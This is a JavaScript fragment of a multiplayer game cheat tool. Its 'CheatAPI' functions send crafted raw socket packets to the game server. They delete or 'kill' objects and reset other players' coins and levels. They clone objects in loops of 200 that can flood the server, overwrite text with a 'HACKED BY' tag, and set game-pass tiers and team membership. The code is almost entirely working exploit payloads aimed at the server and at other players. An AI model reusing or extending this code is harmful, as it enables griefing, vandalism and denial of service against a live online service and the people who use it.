            },                                                                                                                                                         //243,4,2,0,8,/22,105/,0,3,245,118,/35,105/,172,93,187,76,/36,98/,1,/24,102/,193,239,43,189,/25,102/,65,152,9,186,26,102,194,152,64,23,157,120,0,0,0,3,125,0,0,254,105,0,0,0,6

    /* TELEPORT: function(WOID,X,Y,Z){//258680 //itemid:61222  //258679
CheatAPI.SEND_SOCKET(243,2,49,0,10,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(X),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z),27,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),28,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),29,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),30,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),141,98,0,142,98,0,72,68,0,0,0,2,98,1,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),98,0,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID))
         },*/
//CheatAPI.SEND_SOCKET(243,2,41,0,1,126,105,0,3,242,171)
//CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,243,4,0,3,242,250)
        //CheatAPI.SEND_SOCKET(243,2,86,0,1,22,105,0,3,242,226)
        //CheatAPI.SEND_SOCKET(243,2,41,0,1,126,105,0,3,242,171)
        //CheatAPI.SEND_SOCKET(243,2,115,0,2,22,105,/**/0,3,242,156/**/,191,105,1,206,95,87)
        //243,2,115,0,2,22,105,0,3,242,156,191,105,1,207,78,62
        Kill_Object: function(WOID,FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
CheatAPI.SEND_SOCKET(243,2,27,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,19,15,13,66,39,91,200,195,204,141,87,68,4,233,67,68,32,242,60,2)
          }else if(FLAG == "SERVER"){
CheatAPI.SEND_SOCKET(243,4,32,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,19,15,13,66,39,91,200,195,204,141,87,68,4,233,67,68,32,242,60,2,254,105,0,0,0,1)
         }else if(FLAG == "BOTH"){
CheatAPI.SEND_SOCKET(243,2,27,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,19,15,13,66,39,91,200,195,204,141,87,68,4,233,67,68,32,242,60,2)
CheatAPI.SEND_SOCKET(243,4,32,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,19,15,13,66,39,91,200,195,204,141,87,68,4,233,67,68,32,242,60,2,254,105,0,0,0,1)
         }  },

        GAME_COIN: function(WOID,FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,5,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),19,68,0,0,0,1,115,0,14,103,97,109,101,67,111,105,110,65,109,111,117,110,116,105,0,0,0,0)
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,14,103,97,109,101,67,111,105,110,65,109,111,117,110,116,105,0,0,0,0,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,5,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),19,68,0,0,0,1,115,0,14,103,97,109,101,67,111,105,110,65,109,111,117,110,116,105,0,0,0,0)
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,14,103,97,109,101,67,111,105,110,65,109,111,117,110,116,105,0,0,0,0,254,105,0,0,0,0)
            }
        },
         LEVEL_RE: function(WOID,FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,5,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),19,68,0,0,0,1,115,0,11,108,101,118,101,108,65,109,111,117,110,116,105,0,0,0,0)
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,11,108,101,118,101,108,65,109,111,117,110,116,105,0,0,0,0,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,5,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),19,68,0,0,0,1,115,0,11,108,101,118,101,108,65,109,111,117,110,116,105,0,0,0,0)
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,11,108,101,118,101,108,65,109,111,117,110,116,105,0,0,0,0,254,105,0,0,0,0)
            }
        },

        DELET: function(FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
             if(FLAG == "SERVER"){
        CheatAPI.SEND_SOCKET(243,3,1,0,0,42,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(75579))
           }else  if(FLAG == "CLIENT"){
        CheatAPI.SEND_SOCKET(243,2,1,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(75579))
               }else if(FLAG == "BOTH"){
       CheatAPI.SEND_SOCKET(243,3,1,0,0,42,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(75579))
       CheatAPI.SEND_SOCKET(243,2,1,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(75579))
                    }

        },
        ADD_TO_INVENTORY: function(WOID){
CheatAPI.SEND_SOCKET(243,2,39,0,1,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
        },

        // CheatAPI.SEND_SOCKET(243,2,24,0,1,22,105,0,3,242,212)
        TEXT_RE: function(WOID,FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){    //243,2,4,0,2,22,105,           0,3,242,97,               18,68,0,0,0,1,115,0,4,116,101,120,116,115,0,36,60,115,105,122,101,61,53,48,48,62,72,65,67,75,69,68,32,66,89,32,46,49,120,49,120,49,120,49,46,60,47,115,105,122,101,62
                CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,116,101,120,116,115,0,36,60,115,105,122,101,61,53,48,48,62,72,65,67,75,69,68,32,66,89,32,46,49,120,49,120,49,120,49,46,60,47,115,105,122,101,62)
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,116,101,120,116,115,0,36,60,115,105,122,101,61,53,48,48,62,72,65,67,75,69,68,32,66,89,32,46,49,120,49,120,49,120,49,46,60,47,115,105,122,101,62,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,116,101,120,116,115,0,36,60,115,105,122,101,61,53,48,48,62,72,65,67,75,69,68,32,66,89,32,46,49,120,49,120,49,120,49,46,60,47,115,105,122,101,62)
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,116,101,120,116,115,0,36,60,115,105,122,101,61,53,48,48,62,72,65,67,75,69,68,32,66,89,32,46,49,120,49,120,49,120,49,46,60,47,115,105,122,101,62,254,105,0,0,0,0)
            }
        },
        CLONE_OBJECT: function(WOID, X, Y, Z, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 0, 127, 111, 0, 203, 111, 1, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(X), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(X),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,0,20,105,0,0,0,0,128,105,0,0,0,1,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 1, 127, 111, 0, 203, 111, 0, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(X), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(X),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,1,20,105,0,0,0,0,128,105,0,0,0,0,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)
            }
        },
                WATER_BOX: function(WOID){//0,4,19,11
CheatAPI.SEND_SOCKET(243,2,65,0,12,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,10,119,97,116,101,114,67,111,108,111,114,121,0,3,102,0,0,0,0,63,128,0,0,0,0,0,0)
        },
           CLONE_OBJECTTEST1: function(WOID, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){for(var lag = 0; lag < 1; lag++){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 0, 127, 111, 0, 203, 111, 1, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(-10), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))}
            }else if(FLAG == "SERVER"){for(var lfag = 0; lfag < 1; lfag++){
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(-10),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,0,20,105,0,0,0,0,128,105,0,0,0,1,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }else if(FLAG == "BOTH"){for(var ldag = 0; ldag < 1; ldag++){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 1, 127, 111, 0, 203, 111, 0, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(-10), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(-10),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,1,20,105,0,0,0,0,128,105,0,0,0,0,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }
        },
                   FIRE_SETTINGS: function(WOID,size, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
  CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(size))
            }else if(FLAG == "SERVER"){
CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(size),254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
  CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(size))
CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(size),254,105,0,0,0,0)
            }
        },
//  CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(10))
//CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,2,115,0,1,67,121,0,3,102,63,128,0,0,63,71,174,20,63,2,143,92,115,0,1,73,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(10),254,105,0,0,0,0)
         CLONE_OBJECTTEST: function(WOID, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){for(var lag = 0; lag < 200; lag++){
                 //243,2,38,0,12,40,105,0,0,239,38,23,105,0,1,39,58,20,105,0,0,0,0,39,111,1,24,102,0,0,0,0,25,102,65,32,0,0,26,102,0,0,0,0,27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,63,128,0,0,125,111,0
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 0, 127, 111, 0, 203, 111, 1, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))}
            }else if(FLAG == "SERVER"){for(var lfag = 0; lfag < 200; lfag++){
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,0,20,105,0,0,0,0,128,105,0,0,0,1,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }else if(FLAG == "BOTH"){for(var ldag = 0; ldag < 200; ldag++){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 1, 127, 111, 0, 203, 111, 0, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,1,20,105,0,0,0,0,128,105,0,0,0,0,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }
        },
         CLONE_OBJECT3: function(WOID,FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){for(var lag = 0; lag < 200; lag++){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 0, 127, 111, 0, 203, 111, 1, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 100) + 31), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))}
            }else if(FLAG == "SERVER"){for(var ldag = 0; ldag < 200; ldag++){
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 200),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,0,20,105,0,0,0,0,128,105,0,0,0,1,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }else if(FLAG == "BOTH"){for(var lsag = 0; lsag < 200; lsag++){
                CheatAPI.SEND_SOCKET(243, 2, 65, 0, 12, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 20, 105,  ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR), 101, 111, 1, 127, 111, 0, 203, 111, 0, 24, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100), 25, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100), 26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 100) + 31), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
                CheatAPI.SEND_SOCKET(243,4,79,0,14,24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 100),26,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Math.random() * (1 - 31) + 200),27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,0,0,0,0,72,121,0,3,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),0,0,0,0,255,255,255,255,101,111,1,20,105,0,0,0,0,128,105,0,0,0,0,58,105,255,255,255,255,92,105,255,255,255,255,254,105,0,0,0,0)}
            }
        },

        EQUIP_ACESSORY: function(ACESSORY_NAME, FLAG){
            let url = CheatAPI.FUNCTIONS.ENCODE_TEXT(CheatAPI.ACESSORIES[ACESSORY_NAME].url)
            if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,18,68,0,0,0,1,115,0,13,66,108,117,101,112,114,105,110,116,68,97,116,97,68,0,0,0,1,115,0,1,52,68,0,0,0,1,115,0,1,CheatAPI.ACESSORIES[ACESSORY_NAME].cat,68,0,0,0,5,115,0,1,50,105,0,0,0,3,115,0,1,49,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.ACESSORIES[ACESSORY_NAME].sAID),115,0,1,51,102,0,0,0,0,115,0,1,52,115,0,url.length,...url,115,0,1,53,102,63,128,0,0,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),254,105,0,0,0,0)
            }
        },
        UNLOCK_TIER: function(pass){
CheatAPI.SEND_SOCKET(243,4,91,0,2,245,115,0,250,123,34,104,105,103,104,83,99,111,114,101,71,97,109,101,80,111,105,110,116,115,34,58,/*gamepoint*/48/*gamepoint*/,44,34,114,97,110,107,34,58,/**/48,44,34,112,114,111,103,114,101,115,115,105,111,110,71,97,109,101,80,111,105,110,116,115,34,58,48,44,34,112,108,97,121,116,105,109,101,34,58,34,48,48,58,48,48,58,48,48,34,44,34,103,97,109,101,80,97,115,115,84,105,101,114,34,58,pass,44,34,112,108,97,121,101,114,80,108,97,110,101,116,77,101,116,97,68,97,116,97,34,58,123,34,103,97,109,101,80,97,115,115,84,105,101,114,83,101,101,110,34,58,48,44,34,119,101,108,99,111,109,101,82,101,119,97,114,100,67,108,97,105,109,101,100,34,58,102,97,108,115,101,44,34,108,97,115,116,68,97,105,108,121,87,101,108,99,111,109,101,82,101,119,97,114,100,67,108,97,105,109,34,58,34,48,48,48,49,45,48,49,45,48,49,84,48,48,58,48,48,58,48,48,34,125,44,34,112,114,101,118,105,101,119,71,97,109,101,80,97,115,115,84,105,101,114,34,58,48,125,254,105,0,0,0,0)
        },
         TEST: function(){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),95,68,0,0,0,1,98,103,105,0,0,0,69,209,254,105,0,0,0,0)
        },
		EFFECT_PLAYER: function(TYPE,ID){
            CheatAPI.SEND_SOCKET(243,2,27,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(ID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,TYPE)
        },

        RESET_TERRAIN: function(){
            CheatAPI.SEND_SOCKET(243,4,51,0,1,0,0,0,0,254,0,0,0,0)
        },
        ACCESORIES_SIZE: function(size){
            CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),18,68,0,0,0,1,115,0,13,66,108,117,101,112,114,105,110,116,68,97,116,97,68,0,0,0,1,115,0,1,52,68,0,0,0,1,115,0,1,49,68,0,0,0,1,115,0,1,53,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(size),254,105,0,0,0,0)
        },
        ACCESORIES_POSITION: function(position){
           CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),18,68,0,0,0,1,115,0,13,66,108,117,101,112,114,105,110,116,68,97,116,97,68,0,0,0,1,115,0,1,52,68,0,0,0,1,115,0,1,49,68,0,0,0,1,115,0,1,51,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(position),254,105,0,0,0,0)
        },
        RESET_PLANET: function(){
            CheatAPI.SEND_SOCKET(243, 2, 103, 0, 0, 0, 0, 0, 0)
               },
        CAPTURE_FLAG_TIME: function(time){
        CheatAPI.SEND_SOCKET(243,2,94,0,2,35,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),191,105,...CheatAPI.FUNCTIONS.TO_FLOAT_32(time))
        },
        CAPTURE_FLAG: function(){
            CheatAPI.SEND_SOCKET(243,2,23,0,1,191,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID))
        },
        STAR: function(){
        CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,183,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID))
        },
        CHANGE_TEAM: function(TEAM_ID){
            CheatAPI.SEND_SOCKET(243, 2, 29, 0, 1, 89, 105, 0, 0, 0, TEAM_ID)
        },
/*CheatAPI.SEND_SOCKET(243,2,37,0,15,115,98,1,23,105,0,1,39,58,245,68,0,0,0,3,98,1,102,63,0,0,0,98,2,98,21,98,3,105,39,218,111,89,20,105,0,0,0,0,39,111,1,24,102,0,0,0,0,25,102,65,32,0,0,26,102,0,0,0,0,27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,63,128,0,0,31,102,63,0,0,0,32,102,63,0,0,0,33,102,63,0,0,0)
  CheatAPI.SEND_SOCKET(243,2,37,0,15,115,98,1,23,105,0,1,39,58,245,68,0,0,0,3,98,1,102,63,128,0,0,98,2,98,21,98,3,105,39,218,111,89,20,105,0,0,0,0,39,111,1,24,102,0,0,0,0,25,102,65,32,0,0,26,102,0,0,0,0,27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,63,128,0,0,31,102,63,128,0,0,32,102,63,128,0,0,33,102,63,128,0,0)
